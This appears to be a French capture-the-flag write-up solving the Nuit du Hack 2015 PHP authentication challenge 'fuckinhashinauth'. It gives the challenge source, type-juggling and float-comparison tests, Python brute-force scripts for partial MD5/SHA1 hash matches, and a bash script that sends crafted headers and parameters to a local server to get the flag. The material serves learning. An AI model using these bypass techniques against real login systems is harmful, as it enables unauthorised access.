Résolution de l'épreuve 'fuckinhashinauth' de la nuit du hack 2015.
Mon équipe et moi n'avions pas eu le temps de finir l'épreuve à la Nuit du Hack, je ne voulais pas en rester là, je l'ai alors terminée après coup en local.
0x00. NOTES
Pour la base de donée, j'ai du remplacer la petite tête de mort en 'xxx' (car la tête de mort est codée sur 3 octets). Pour les tests en local, ma VM Kali est en 32 bits, j'ai du modifier le script pour qu'il valide sur un système en 32 bits
42 :
https://fr.wikipedia.org/wiki/La_grande_question_sur_la_vie,_l%27univers_et_le_reste
1337 :
https://fr.wikipedia.org/wiki/Leet_speak
0x01. AUTH.PHP~
D'après l'indice, il y aurait un fichier de backup qui traine...
wget 'http://fukinhashinauth.wargame.ndh/auth.php~' -O auth.php
J'ai alors commenté son code pour mieux le comprendre
<?php if (isset($_GET['login']) && isset($_GET['password'])) { // l'URL doit avoir les variables d'URL login et password : http://server/?login=&password= $login = $_GET['login']; $passw = $_GET['password']; if ($login != 'adminsecure1337' && strpos($login, 'adminsecure1337') !== false) { // Le login doit contenir adminsecure1337 echo 'login OK !'; if (strpos(md5($login), '42421337') !== false) { // trouve un login dont le md5 contient 42421337 => bruteforce echo 'md5 login OK !'; $headers = getallheaders(); $session = $headers['Session']; $fufu = substr($headers['Session'], -13.37); if (substr($session, -42.42, 15.42) == 'xxxNxxxDxxxHxxx' && substr($fufu, 0.1337, 2.42) == '0.' && $fufu + 0.7 != 0.8) { echo 'session OK !'; // 'xxxNxxxDxxxHxxx' = 15 octets, substr ignore les décimale, fufu ne vaut pas 0.1, // imprécision PHP dans une opération entre une chaine de caractère et un décimal // Le début de session doit valoir 42424242424242424242 (longueur= 20) // 9223372036854775807 ==> PHP_INT_MAX (64bits) // if (intval($session) == 9223372036854775807 && $session + 0 == 42424242424242424242){ // 32 bits, le début de session vaut: 42424242424242424242 // de toute façon, intval(42424242424242424242) = PHP_INT_MAX if (intval($session) == 2147483647 && $session + 0 == 42424242424242424242) { echo 'compare OK !'; if (strpos($passw, '1337password') !== false) { // le pass contient 1337password echo 'password OK !'; if (strpos(sha1($passw), '42133742') !== false) { // trouver un pass dont le sha1 contient 42133742 => bruteforce echo 'sha1 password OK !'; if ($login + 42 == 84 && $fufu + 0.1 == 0.2) { // $login+42 == 84 : $login doit commencer par 42 // $fufu doit être égal à 0.1 echo 'additions OK !'; // 66 => 0x42, int(0x42) = 0, le pass commence par 0x42 if ((int) $passw == 0 && $passw + 0 == 66) { echo 'php roxing OK !'; if (date('s', time()) == 42) { // Attend la 42ème seconde // include "flag.php" // tests en local $flag="NDH_c13b2cef1252acd1c0c9a1c625bcfb82"; // tests en local echo 'time for flag ! '. $flag; } } } } } } } } } } if (!isset($flag)) { // echo '<br><img src="/img/' . rand(1, 68) . '.jpg">'; echo 'failed'; // tests en local } ?>
0x02. IMPRECISION PHP
<? $fufu=0.1; if( $fufu == 0.1 ) { echo "\nOK1"; } echo intval($fufu); echo "\n"; if( 0.1+0.7 != 0.8 ) { echo "\nOK2a"; } if( $fufu + 0.7 != 0.8 ) { echo "\nOK2b"; } if( $fufu + 0.1 == 0.2 ) { echo "\nOK3a"; } if( 0.1+0.1 == 0.2 ) { echo "\nOK3b"; } ?>
0x03. ADD INTEGER TO STRING ? - TESTS LOGIN+PASSW
<? if( $argv[1]+42 == 84 ) echo "\n$argv[1]"; ?>
<? echo "(int)\$argv[1] = "; echo (int)$argv[1]; echo " / "; echo "\$argv[1]+0 = "; echo $argv[1]+0; echo "\n"; ?>
0x04. TESTS SESSION
<? // 9223372036854775807 => 64bits // 2147483647 => 32bits // define('PHP_INT_MAX', 0x7FFFFFFF); $session=$argv[1]; echo ' if (intval($session) == 9223372036854775807 && $session + 0 == 42424242424242424242){'."\n\n"; echo "intval(\$session) = "; echo intval($session); echo "\n"; echo "\$session+0 = "; echo $session+0; echo "\n"; // if (intval($session) == 9223372036854775807 && $session + 0 == 42424242424242424242){ if (intval($session) == 2147483647 && $session + 0 == 4242424242){ echo "OK\n\n"; } ?>
0x05. AJUSTEMENTS
<? define('INT_MAX', 0x7FFFFFFF); $login="42cglsvoadminsecure1337"; // # ./bruteforce_login.py -a '[a-z]' -l 6 -L 6 $passw="0x42GAQNYK1337password"; // # ./bruteforce_passw.py -a '[A-Z]' -l 4 -L 6 $session="xxxNxxxDxxxHxxx1234567890.CDEFGHIJ==="; // $session="xxxNxxxDxxxHxxx0.42424242424"; $session="42424242424242424242xxxNxxxDxxxHxxxZZZZZZZZZZZZZZ0.1ZZZZZZZZZZ"; echo "\nlogin = ".$login; if (strpos(md5($login), '42421337') !== false){ echo "\n--------------------------> login OK"; } echo "\npassw = ".$passw; if (strpos($passw, '1337password') !== false){ if (strpos(sha1($passw), '42133742') !== false){ if ((int) $passw == 0 && $passw + 0 == 66){ echo "\n--------------------------> pass OK"; } } } echo "\nsession = ".$session; echo "\nsubstr(session,-42,15) = ".substr($session, -42.42, 15.42); $fufu = substr($session,-13.37); echo "\nfufu (session,-13.37) = ".$fufu; echo "\nsubstr(fufu,0.1337, 2.42) = ".substr($fufu, 0.1337, 2.42); echo "\nfufu+0.7 = ";echo $fufu+0.7; if (substr($session, -42.42, 15.42) == 'xxxNxxxDxxxHxxx' && substr($fufu, 0.1337, 2.42) == '0.' && $fufu + 0.7 != 0.8){ echo "\n--------------------------> session OK"; } echo "\nintval(session) = ".intval($session); echo "\nsession+0 = ";echo $session+0; if (intval($session) == PHP_INT_MAX && $session + 0 == 42424242424242424242){ echo "\n--------------------------> compare OK"; } echo "\nlogin+42 = ";echo $login+42; echo "\n(int) passw = ";echo (int)$passw; echo "\npassw+0 = ";echo $passw+0; echo "\n\n"; die(); ?>
0x06. BRUTEFORCE LOGIN
J'avais déjà écrit un programme de bruteforce "généric" en python, oà il n'y avait plus qu'à implémenter le test :
#!/usr/bin/env python import sys import getopt import hashlib APP = "brute-md5.py" # # Alphabets #------------------------------------------------------------------------------ alphabet = range(0,1000) alphabet[1] = "abcdefghijklmnopqrstuvwxyz" alphabet[2] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" alphabet[3] = "abcdef" alphabet[4] = "ABCDEF" alphabet[5] = "0123456789" alphabet[12] = alphabet[1] + alphabet[2] # lower/upper case alphabet[15] = alphabet[1] + alphabet[5] # lower + numbers alphabet[25] = alphabet[2] + alphabet[5] # upper + numbers alphabet[35] = alphabet[3] + alphabet[5] # hexa-lower + numbers alphabet[45] = alphabet[4] + alphabet[5] # hexa-upper + numbers alphabet[123] = alphabet[1] + alphabet[2] + alphabet[5] # lower+uppercase+numerals # # Functions #------------------------------------------------------------------------------ def combine (alphabet, nb, base = ''): for c in alphabet: if nb == 1: yield base + c else: for c1 in combine(alphabet, nb-1, base + c): yield c1 def usage(): print "\nUsage: %s <-a alphabet> <-l low-limit> <-L high-limit> <-m match>" % APP print """ alphabets : [a-z] | [a-z0-9] | [a-zA-Z0-9] [A-Z] | [A-Z0-9] [a-f] | [a-z0-9] [A-F] | [A-F0-9] [0-9] | [a-zA-Z] exemple : """ print """ ./%s -a '[a-z]' -l 4 -L 4 -m 'f71dbe52628a3f83a77ab494817525c6' > will generate aaa->zzz aaaa->zzzz > till the hash correspond """ % APP sys.exit(1) """ bruteit(...) Function that has to bruteforce password with something to match """ def bruteit(string,match): # $login+42==84 ... dst='42'+string+'adminsecure1337' md5sum = hashlib.md5(dst).hexdigest() if "42421337" in md5sum: print dst+":"+md5sum def alphabet_to_index(alpha): ialpha = -1 if( alpha == "[a-z]" ): ialpha = 1 if( alpha == "[A-Z]" ): ialpha = 2 if( alpha == "[a-f]" ): ialpha = 3 if( alpha == "[A-F]" ): ialpha = 4 if( alpha == "[0-9]" ): ialpha = 5 if( alpha == "[a-zA-Z]" ): ialpha = 12 if( alpha == "[a-z0-9]" ): ialpha = 15 if( alpha == "[A-Z0-9]" ): ialpha = 25 if( alpha == "[a-f0-9]" ): ialpha = 35 if( alpha == "[A-F0-9]" ): ialpha = 45 if( alpha == "[a-zA-Z0-9]" ): ialpha = 123 return(ialpha) # # Main #------------------------------------------------------------------------------ def main(): lowlimit = -1 highlimit = -1 ilimit = -1 ialpha = -1 alpha = "" match = "-" error = 3 optlist, args = getopt.getopt( sys.argv[1:] , "a:L:l:m:h" ) for opt in optlist: if( opt[0] == '-a' ): ialpha = alphabet_to_index( opt[1] ) if( ialpha == -1 ): print "\nError : `%s` is not a known alphabet\n" % opt[1] usage() else: error = error - 1 if( opt[0] == '-l' ): try: lowlimit = int(opt[1]) error = error - 1 except: print "\nError : `%s` is not an integer\n" % opt[1] usage() if( opt[0] == '-L' ): try: highlimit = int(opt[1]) error = error - 1 except: print "\nError : `%s` is not an integer\n" % opt[1] usage() if( opt[0] == '-m' ): match = opt[1] if( opt[0] == 'h' ): usage() if( error != 0 ): print "\nError : some argument are missing." usage() try: for ilimit in range(lowlimit,highlimit+1): for string in combine(alphabet[ialpha], ilimit): bruteit( string , match ) except(KeyboardInterrupt): print "\n[CTRL+C] : program aborted.\n\n" sys.exit(130) if __name__ == '__main__': main()
0x07. BRUTEFORCE PASSWORD
Seule la fonction bruteit diffère :
def bruteit(string,match): global g_npass dst='0x42'+string+'1337password' _hash = hashlib.sha1(dst).hexdigest() if "42133742" in _hash: print dst+':'+_hash sys.exit(0)
0x08. PWND.SH
output="result.txt" # login=$(./bruteforce_login.py -a '[a-zA-Z]' -l 4 -L 6) # 42 => 42cglsvoadminsecure1337 # ^^ # intval login="42cglsvoadminsecure1337" # password=$(./bruteforce_passw.py -a '[a-zA-Z]' -l 4 -L 6) # 66 = 0x42 => 0x42GAQNYK1337password # ^^^^ # intval password="0x42GAQNYK1337password" # - (session: -42) - (fufu: -13) # 0 4 1 # 0 2 3 # # # 42 # <----------------------------------------> # # 20 15 # <------------------><-------------> session="42424242424242424242xxxNxxxDxxxHxxxZZZZZZZZZZZZZZ0.1ZZZZZZZZZZ" # ^^^^^^^^^^^^^^^^^^^^ ^^^ #$session+0 => 42*10... fufu (voir ajustements avec tests.php) # ^^^^^^^ les imprécisions de calcul entre une chaine de caractère # substr($v,-42,15) et un décimal, rendent $fufu inutile (sauf pour le substr) # = substr($v,15) (d'oà le besoin de 0.) # # printf "xxxNxxxDxxxHxxx"|hexdump -C # 00000000 e2 98 a0 4e e2 98 a0 44 e2 98 a0 48 e2 98 a0 |...N...D...H...| # 0000000f # # substr($v , 12.34 , -7.8); <=> substr($v , 12 , -7); # while true; do d=$(php -r "print date('s');") printf "\rWaiting for second #42 ... : $(date) => $d" # On attend entre la seconde 41 et 43 pour être sûr d'avoir le temps if [ $d -gt 41 -a $d -lt 43 ]; then echo echo '---' wget -q --header "Session: $session" "http://localhost/?login=$login&password=$password" -O "$output" egrep -i flag "$output" && break else # autrement on attend sagement ... sleep .3 fi done echo
0x09. FLAG
Le login:
login OK !md5 login OK !session OK !compare OK !password OK !sha1 password OK !additions OK !php roxing OK !time for flag ! NDH_c13b2cef1252acd1c0c9a1c625bcfb82
=> Écrit par : Nicolas, le 28 avril 2016